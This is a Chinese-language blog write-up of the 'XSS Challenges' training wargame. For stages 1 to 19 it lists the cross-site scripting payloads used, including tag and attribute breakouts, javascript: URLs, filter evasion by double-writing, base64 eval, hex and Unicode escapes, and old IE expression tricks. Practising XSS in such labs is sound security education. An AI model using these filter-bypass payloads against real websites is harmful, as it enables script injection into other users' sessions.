首页 > 技术文章 > XSS Challenges

-an- 2020-04-06 11:25 原文

XSS Challenges

过关目标是alert(document.domain);

stage 1:

<script>alert(document.domain);</script>

stage 2:

"><script>alert(document.domain);</script>

stage 3:

burp抓包,p2处执行即可。

Japan</option><script>alert(document.domain);</script>

stage 4:

多了一个隐藏参数,也就是burp抓包,在p3后面写入即可。

"><script>alert(document.domain);</script>

stage 5:

相比于stage 4,只是在前端用maxlength做了限制,F12修改一下就好。payload同stage 4。

stage 6:

" onclick="alert(document.domain)

执行完payload后,点击一下输入框即可。

stage 7:

" onclick=alert(document.domain)

这里是用空格来对属性进行分隔。

同stage 6,点一下输入框就好。

stage 8:

这里用了JavaScript伪协议。

javascript:alert(document.domain);

stage 9:

这一关需要能够识别UTF-7的浏览器和UTF-7编码。

以后有时间在弄吧,不想弄,跳过。

跳关的方法:可以在hint处,F12加上onclick="alert(document.domain)",再点击一下hint就好。

stage 10:

过滤了domain。

双写绕过或者编码绕过就好。

"><script>alert(document.domdomainain);</script>
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKTs='));</script>

stage 11:

过滤了script、style、on事件(例如onclick之类的)。

"><a href="javascr ipt:alert(document.domain)">xss</a>

空格分隔script,但是我这里出现了点问题,search之后,点击xss会出现404,所以我在search之后,通过F12在前端,将前面加上的空格给删除了,再点击xss才得以通过。

那么我项可不可以就不用空格分隔,直接search,然后它会将script改为xscript,那我还是F12修改,发现还是能够通过。

stage 12:

过滤了单双引号,尖括号。所以利用IE浏览器的特性,在IE浏览器中用两个反引号闭合双引号。

`` onclick=alert(document.domain)

stage 13:

background-color:#f00;background:url("javascript:alert(document.domain);");

可能因为我的IE版本较高,导致无法执行成功。

stage 14:

不知道为什么执行不了,留下payload吧。

xss:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
xss:expr/*XSS*/ession(alert(document.domain));  

stage 15:

16进制转换左右尖括号即可。

\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

stage 16:

这一关根据提示知道16进制是绕不过了。

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

Unicode编码绕过即可。

stage 17和stage 18:

因为需要IE的旧版本,所以没有做。

stage 19:

javascript:alert(document.domain)

推荐阅读